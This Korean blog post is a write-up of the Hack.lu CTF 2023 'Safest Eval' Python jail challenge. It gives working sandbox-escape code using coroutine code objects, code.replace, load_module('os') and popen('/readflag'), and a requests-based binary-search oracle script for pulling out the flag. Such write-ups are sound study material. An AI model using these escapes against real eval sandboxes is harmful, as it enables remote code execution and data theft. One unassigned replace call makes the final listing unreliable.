Search

Python Jail Escape (Hack.lu CTF 2023 Safest Eval)

이 글은 Hack.lu CTF 2023 문제 중 하나인 Saftest Eval에 대한 Write-up입니다.
풀이 과정이 상당히 흥미로웠고 정말 배울점이 많아 정리해보고 싶었습니다.
즉 이 글은 단순한 공부 목적으로 위 Write-Up을 기반으로 그대로 재작성됐습니다. 작성자에게 감사인사를 올립니다.
Unicode Bypass 부분이 상당히 충격적이었습니다. 해당 내용만 궁금하신 분들은 아래 목차에서 클릭을 통해 이동 가능합니다.
추가적인 Bypass 기법들은 다음 링크에 정리돼있습니다.

1. Overview

문제는 아래와 같은 Flask 웹 서비스에서 python 코드를 입력할 수 있을 때, 서버의 /readflag를 실행하면 flag가 print되는 형태로 제한된 파이썬 코드 환경에서 여러 제약사항을 우회해 실행하는 것이 목적이다.

2. Execution Flow

유저가 작성한 코드는 POST 통신을 통해 전달되고 타임아웃 체킹과 더불어 권한을 지정한 채 실행 해 결과 값을 리턴 받는다.
user_code = request.json["code"] cmd = ["timeout", "-s", "KILL", os.environ.get('TIMEOUT', '10'), "sudo", "-u", "safe_eval", "python", "palindrome_challenge.py", user_code] res = subprocess.check_output(cmd, stderr=subprocess.DEVNULL).decode().strip()
Python
복사
os.environ.get('TIMEOUT', '10'): 환경 변수에서 'TIMEOUT' 값을 가져오는데, 값이 없을 경우 기본값으로 '10'을 사용
-s KILL: 시그널 'KILL'을 사용하여 프로세스를 중단
sudo -u safe_eval : 권한 관리
python palindrome_challenge.py user_code : 유저코드를 인자로 파이썬 코드 실행
palindrom_challenge.py 코드를 살펴보면 user_code 인자를 통해 4가지 챌린지를 실행해 결과를 확인한다.
이 때 실행하는 코드는 safest_eval 이라는 python jail 안에서 실행한다.
challenge_code = f""" {user_code} solved = False if isinstance(is_palindrome, function): challenges = [["ooffoo", "murderforajarofredrum", "palindrome", ""], [True, True, False, True]] solved = list(map(is_palindrome, challenges[0])) == challenges[1] """ eval_globals = safest_eval(challenge_code) # safest_eval is where the magic happens if eval_globals["solved"] is True: print("Solved")
Python
복사

3. Python Jail

Python jail은 Python의 compile() 함수를 사용하여 코드를 코드 객체로 변환한다. 다음 차단된 AttrsOpcode 목록과 비교하여 검사하고, 전체에서 __가 포함된 속성이 있는지 확인한다. 이 검사는 코드 내의 모든 코드 객체에 대해 재귀적으로 수행되며, 코드가 모든 검사를 통과하면 허용되는 매우 제한된 builtins과 함께 eval 함수를 사용하여 실행된다.
def check_co(co): for to_check in co.co_names + co.co_consts: if type(to_check) is str and ("__" in to_check or to_check in BAD_ATTRS): raise Exception(f"Bad attr: {to_check}") opcodes = {instruction.opcode for instruction in dis.get_instructions(co)} if opcodes.intersection(BAD_OPCODES): raise Exception(f"Bad opcode(s): {', '.join(opname[opcode] for opcode in opcodes.intersection(BAD_OPCODES))}") for const in co.co_consts: if isinstance(const, CodeType): check_co(const) def safest_eval(expr): co = compile(expr, "", "exec") check_co(co) eval_globals = {"__builtins__": dict(BUILTINS)} eval(co, eval_globals) return eval_globals
Python
복사
다음이 ATTRS, OPCODES 블랙리스트 및 실행 가능한 BUILTINS 목록이다.
BAD_ATTRS = ["func_globals", "f_globals", "f_locals", "f_builtins", "gi_code", "co_code", "gi_frame"] BAD_OPCODES = {opmap[opname] for opname in ['STORE_ATTR', 'DELETE_ATTR', 'STORE_GLOBAL', 'DELETE_GLOBAL', 'DELETE_SUBSCR', 'IMPORT_STAR', 'IMPORT_NAME', 'IMPORT_FROM']} BUILTINS = { 'enumerate': enumerate, 'int': int, 'zip': zip, 'True': True, 'filter': filter, 'list': list, 'max': max, 'float': float, 'divmod': divmod, 'unicode': str, 'min': min, 'range': range, 'sum': sum, 'abs': abs, 'sorted': sorted, 'repr': repr, 'isinstance': isinstance, 'bool': bool, 'set': set, 'Exception': Exception, 'tuple': tuple, 'chr': chr, 'function': FunctionType, 'ord': ord, 'None': None, 'round': round, 'map': map, 'len': len, 'bytes': bytes, 'str': str, 'all': all, 'xrange': range, 'False': False, 'any': any, 'dict': dict, }
Python
복사
이외에도 추가적인 제한사항들이 존재한다.
아무것도 없는 alpine linux docker 에서 실행
들어오는 port 8000을 제외한 모든 트래픽 차단 iptables
검사 스크립트는 낮은 권한으로 실행
검사 스크립트의 시간 제한 존재

4. Solving

많은 부분에서 실패했지만 접근 과정에 있어 흥미로운 방법들이 많았다.

Flask subprocess

검사 스크립트가 서브프로세스 (subprocess.check_output([..., "python", "palindrome_challenge.py", user_code]))를 통해 실행되고 있으므로 먼저 여기서 결함을 찾으려고 노력했지만 예상대로 모든 것이 파이썬 스크립트로 올바르게 전달됐다. Null byte를 시도했지만 쓸모없는 예외만 발생했다.

Common Builtins

보통 eval, exec, dir 에 관련된 빌트인을 통해 jail을 벗어날 수 있지만 빌트인 허용목록을 사용하고 있고, 주어진 빌트인에서는 print도 허용하지 않을 만큼 빡빡한 빌트인 선언이 돼있었다.

Decorators

파이썬은 decorator사용을 허가하고 있다. 그러나 eval도 결국 빌트인을 필요로 하여 실패했다.
@eval @'__import__("os").system("sh")'.format class _:pass
Python
복사

Classess and getters

jail을 벗어난 뒤 eval_globals["solved"]를 체크해 파이썬 코드를 시행하므로 아래 예시처럼 solved를 사전에 정의하여 우회할 수 있을 것이라 생각했다.
class EvilSolved: @property def attribute(self): # do something evil here return self._attribute solved = EvilSolved()
Python
복사
이는 여러가지 이유로 실패했는데
solved를 이후에 재정의할 수 있는 방법이 없다 (전역 변수 선언은 opcode에 의해 불가)
클래스를 생성하면 (__name____module____qualname__)이 생성돼 블랙리스트에 걸린다
애초에 __build_class__ 가 builtin돼있지 않아 클래스 생성 자체가 불가능하다.

Exceptions

builtin에서 사용할만한 것이 없나 살펴보던 중 예외처리에 대한 부분이 있어 다음과 같이 무엇인가를 할 수 있을까 살펴봤지만 특별한 걸 찾지 못했다.
try: 1/0 except Exception as e: e.do_something_epic()
Python
복사

Importing

os import에 성공하면 사실상 성공이라 다양한 방법을 찾아봤다.
IMPORT_NAME 및 유사한 opcode가 차단돼 os import 가 어려웠고 이 검사를 우회할 수 있다고 해도 —import__ 는 여전히 사용할 수 없었다.
__builtins__.__import__도 사용할 수 없으므로 작동하지 않는다.
().__class__.__base__.__subclasses__()[104].load_module('os')__가 아니었다면 이 코드에서 실제로 작동할 수 있기 때문에 흥미로웠다.

Functions and lambdas

어떻게든 검사를 통과할 수 있기를 바라며 subclass import를 lambda에 넣으려고 했다
get_os = lambda x: ().__class__.__base__.__subclasses__()[104].load_module('os') os = get_os() os.system(...)
Python
복사
그러나 검사 코드는 재귀적으로 모든 코드를 검사해 실패했다.

String replace dunders ‘__’

런타임에 문자열 바꾸기를 수행하여 dunder ‘__’ 검사를 우회할 수 있다고 생각했다
# This fails foo["__bar__"] # This succeeds foo["AAbarAA".replace("A", "_")]
Python
복사
결과적으로 이것은 작동한다! 그러나 eval 이 없으므로 안타깝게도 이를 사용하여 객체 속성에 액세스하는 것은 불가능하다.
# This doesn't work ()["__class__"]["__base__"]["__subclasses__"]()[104].load_module('os')
Python
복사

String formatting

앞선 문자열 바꾸기가 상당히 효과적이었기에 사용할 수 있는 다른 부분을 찾아보았고, string formatting에도 사용할 수 있었다.
"{0.AAclassAA.AAbaseAA.AAsubclassesAA}".replace("A","_").format({}) # '<built-in method __subclasses__ of type object at 0x9643e0>'
Python
복사
문제는 문자열 형식은 문자열만 반환할 수 있으며, 이는 개인 데이터 유출에만 유용한 속성에 대한 읽기 전용(read-only) 연산이라는 점이다. method를 호출하려고 하는 순간 method가 분리된다:
"{0.AAclassAA.AAbaseAA.AAsubclassesAA()}".replace("A","_").format({}) # AttributeError: type object 'object' has no attribute '__subclasses__()'
Python
복사

Creating function from bytecode

dunder 문자열 바꾸기를 사용하는 다양한 방법을 찾던 중 Python 바이트코드로 코드 객체를 만들 수 있다면 co_name(예: attributes)을 string으로 설정할 수도 있다는 사실을 깨달았다.
from types import CodeType, FunctionType """ def x(): subclasses = ().__class__.__base__.__subclasses__() for subclass in subclasses: try: subclass.load_module('os').system('/readflag') except: pass x() """ FunctionType(CodeType( 0,0,0,2,5,3, b'\\x97\\x00d\\x01j\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00j\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa0\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa6\\x00\\x00\\x00\\xab\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\\x00|\\x00D\\x00]2}\\x01\\t\\x00|\\x01\\xa0\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x02\\xa6\\x01\\x00\\x00\\xab\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa0\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x03\\xa6\\x01\\x00\\x00\\xab\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x8c,#\\x00\\x01\\x00Y\\x00\\x8c0x\\x03Y\\x00w\\x01d\\x00S\\x00', (None, (), 'os', '/readflag'), ('AAclassAA'.replace("A","_"), 'AAbaseAA'.replace("A","_"), 'AAsubclassesAA'.replace("A","_"), 'load_module', 'system'), ('subclasses', 'subclass'), 'x.py','x','x',22, b'\\x80\\x00\\xd8\\x08\\n\\x8c\\x0c\\xd4\\x08\\x1d\\xd7\\x08,\\xd2\\x08,\\xd1\\x08.\\xd4\\x08.\\x80\\x14\\xd8\\x0c\\x10\\xf0\\x00\\x04\\x02\\x08\\xf0\\x00\\x04\\x02\\x08\\x80S\\xf0\\x02\\x03\\x03\\x08\\xd8\\x03\\x06\\x87?\\x82?\\x904\\xd1\\x03\\x18\\xd4\\x03\\x18\\xd7\\x03\\x1f\\xd2\\x03\\x1f\\xa0\\n\\xd1\\x03+\\xd4\\x03+\\xd0\\x03+\\xd0\\x03+\\xf8\\xf0\\x02\\x01\\x03\\x08\\xd8\\x03\\x07\\x804\\xf8\\xf8\\xf8\\xf0\\t\\x04\\x02\\x08\\xf0\\x00\\x04\\x02\\x08', b'\\xa4(A\\r\\x02\\xc1\\r\\x02A\\x11\\x05' ),{})()
Python
복사
매우 가능성 높아 보였지만, 이 작업을 수행하려면 FunctionTypeCodeType이 필요했다.
FunctionType은 Builtin에서 사용할 수 있었지만, Dunder ‘__’를 사용하지 않고 CodeType을 가져올 방법을 찾을 수 없었다.

Reusing an existing function

CodeType 자체를 구할 수 없었기 때문에 어딘가에서 기존 코드 객체를 재사용할 수 있을 거라고 생각했다. 가장 간단한 방법은 Generator를 사용하는 것이다:
generator = (a for a in range(2)) generator.gi_code # or generator.gi_frame.f_code
Python
복사
아쉽게도 gi_frame gi_code 둘 다 BAD_ATTR에 포함돼 있었다.

Unicode Bypass

Python에는 무척 재미난 트릭이 있는데 𝓯𝓪𝓷𝓬𝔂 𝓾𝓷𝓲𝓬𝓸𝓭𝓮 𝓽𝓮𝔁𝓽 가 구문 분석기에서는 ASCII로 정규화된다.
# This is valid Python 𝓹𝓻𝓲𝓷𝓽("𝓛𝔂𝓻𝓪") # "𝓛𝔂𝓻𝓪" ().__𝕔𝕝𝕒𝕤𝕤__ # <class 'tuple'>
Python
복사
generator.𝖌𝖎_𝖋𝖗𝖆𝖒𝖊.𝖋_𝖈𝖔𝖉𝖊 같은 형태를 통해 검사를 우외할 수 있겠다 싶었지만, 검사 전에 정규화가 이뤄지는 바람에 작동하지 않았다.

Async Functions

코드 객체에 대한 다른 소스를 살펴보던 중 실행된 coroutines(비동기 함수)이 몇 가지 흥미로운 속성을 제공한다는 사실을 발견했다.
async def async_function(): return async_object = async_function() dir(async_object) # ['__await__', '__class__', '__del__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'cr_await', 'cr_code', 'cr_frame', 'cr_origin', 'cr_running', 'cr_suspended', 'send', 'throw'] code_object = async_object.cr_code # or code_object = async_object.cr_frame.f_code
Python
복사
성공이다! 이렇게 하면 새 함수를 만드는데 필요한 코드 오브젝트를 획득 가능하다.
code_object.co_names = ('AAclassAA'.replace("A","_"), ...) new_fun = function(code_object, {}) new_fun()
Python
복사
그러나 STORE_ATTR 코드가 차단되어 있기 때문에 co_names에 할당하는 데 실패한다. 둘 다 불변 유형이므로 튜플이나 그 안의 문자열도 변경할 수 없다.

Code replace

dir() 메서드가 있는 다양한 객체를 살펴보던 중 가지고 있는 코드 객체에 replace() 메서드가 있다는 것을 깨달았다! 문서에서 찾아보니 이 메서드를 사용하면 코드 객체의 일부를 새 값으로 대체하는 등 필요한 작업을 정확하게 수행할 수 있는 것 같았다.
code_object.replace(co_names=('AAclassAA'.replace("A","_"), ...)) new_fun = function(code_object, {}) new_fun()
Python
복사
통한다!!
dunder ‘__’와 함께 함수가 작동하고 모든 준비가 완료됐지만... 실행되지 않는다... 실행할 방법을 찾아야 한다.

Executing the coroutine

함수가 실행되지 않은 이유는 coroutine이고 이렇게 실행해야 하기 때문이었다
import asyncio asyncio.run(new_fun())
Python
복사
그러나 import asyncio 를 사용할 수 없으므로 비동기 코루틴이 어떻게 실행되는지 알아내서 직접 동일한 작업을 수행해야 했다. 그 결과
coroutine = new_fun() while coroutine.cr_running or not coroutine.cr_suspended: coroutine.send(None)
Python
복사
동작하는 코드를 완성했다! 이제 서버에 RCE를 만들어야 한다.

Getting back data

그렇다면 서버에서 데이터를 어떻게 다시 가져올 수 있을까? 처음에는 os.system()을 사용하여 TCP를 통해 전송할까 생각했지만 서버에 방화벽이 있다는 사실이 떠올랐다.
데이터를 가져오는 가장 쉬운 방법은 먼저 데이터를 파이썬으로 가져온 다음 다시 메인 스레드로 가져오는 것입니다. 전자는 os.system() 대신 os.popen().read()를 사용하기만 하면 된다.
async def async_function(): subclasses = ().AAclassAA.AAbaseAA.AAsubclassesAA() for subclass in subclasses: try: return subclass.load_module('os').popen('/readflag').read() except: pass
Python
복사
하지만 데이터를 메인 스레드로 어떻게 다시 가져올지 전혀 몰랐다. 가장 먼저 생각한 것은 코루틴 내의 지역 변수에 플래그를 할당하고 f_locals로 읽어오는 것이었지만, 이 역시 허용되지 않는 속성이다.
실험하는 동안 비동기 함수가 반환될 때마다 검사 스크립트가 예외를 던지는 것을 발견했다. 무슨 일이 일어나고 있는지 알아보고 싶었다.
try: while coroutine.cr_running or not coroutine.cr_suspended: coroutine.send(None) except Exception as e: print(e) # flag{fakeflag}
Python
복사
어라? except는 우리에게 반환 값을 제공한다. 이제 메인 스레드에 플래그가 다시 생겼다
try: while coroutine.cr_running or not coroutine.cr_suspended: coroutine.send(None) except Exception as e: flag = str(e) do_something(flag)
Python
복사

Exfiltrating data

마지막 단계는 원격 서버의 메인 스레드에서 로컬로 플래그를 다시 가져오는 것이다.
solved = False if isinstance(is_palindrome, function): challenges = [["ooffoo", "murderforajarofredrum", "palindrome", ""], [True, True, False, True]] solved = list(map(is_palindrome, challenges[0])) == challenges[1]
Python
복사
여러 가지 solved의 덮어쓰기 방법을 살펴봤지만 제한사항으로 인해 결국 해결되지 않았다
def evil_isinstance(x, y): # Doesn't work due to STORE_GLOBAL opcode global solved solved = flag return False isinstance = evil_isinstance
Python
복사
결국 포기하고 더 느린 솔루션인 이진 검색을 선택했다.
해당 palindrome 과제를 올바르게 해결할지 여부를 선택함으로써 하나의 정보를 쉽게 얻을 수 있었다.
is_palindrome = (lambda x: x == x[::-1]) if flag[0] > "f" else None
Python
복사

5. Solution

여기 풀이에 사용된 코드다.
async def async_function(): subclasses = ().AAclassAA.AAbaseAA.AAsubclassesAA() for subclass in subclasses: try: return subclass.load_module('os').popen('/readflag').read() except: pass async_object = async_function() code_object = async_object.cr_frame.f_code code_object.replace(co_names=tuple(name.replace("A", "_") for name in code_object.co_names)) coroutine = function(code_object, {})() try: while coroutine.cr_running or not coroutine.cr_suspended: coroutine.send(None) except Exception as e: flag = str(e) is_palindrome = (lambda x: x == x[::-1]) if CHECK_EXPRESSION else None
Python
복사
그리고 아래는 이진검색을 위한 코드다.
def check_response(check_expression): json_data = { 'code': code.replace("CHECK_EXPRESSION", check_expression), 'email': email, } response = requests.post('https://safest-eval.flu.xxx/challenge', cookies=cookies, headers=headers, json=json_data) result = response.json().get("result") if result == "Not solved": return False if result == "Solved": return True raise Exception def binary_search(lst, i): if len(lst) == 1: return lst[0] mid = len(lst)//2 if check_response(f'flag[{i}] < "{lst[mid]}"'): return binary_search(lst[:mid], i) elif check_response(f'flag[{i}] > "{lst[mid]}"'): return binary_search(lst[mid:], i) else: return lst[mid] char_list = "".join(sorted("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[]^_`{|}~")) # Searches for the len(flag) value l = get_length() for i in range(l): binary_search(char_list, i)
Python
복사
flag{0ur_3valuat1on_r3sult:y0u-are-h1red!}
마지막 이진검색에서 ! 대신 # 이 나타나 실패할 뻔 했지만, 어찌됐든 성공했다.

✓ 다른 [정리] 포스트

베트남 환전 왜 한국에서 하면 안될까? (한국 vs 공항 vs 금은방)
Travel
베트남 환전 왜 한국에서 하면 안될까? (한국 vs 공항 vs 금은방)
Travel
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. Absolroot all rights reserved.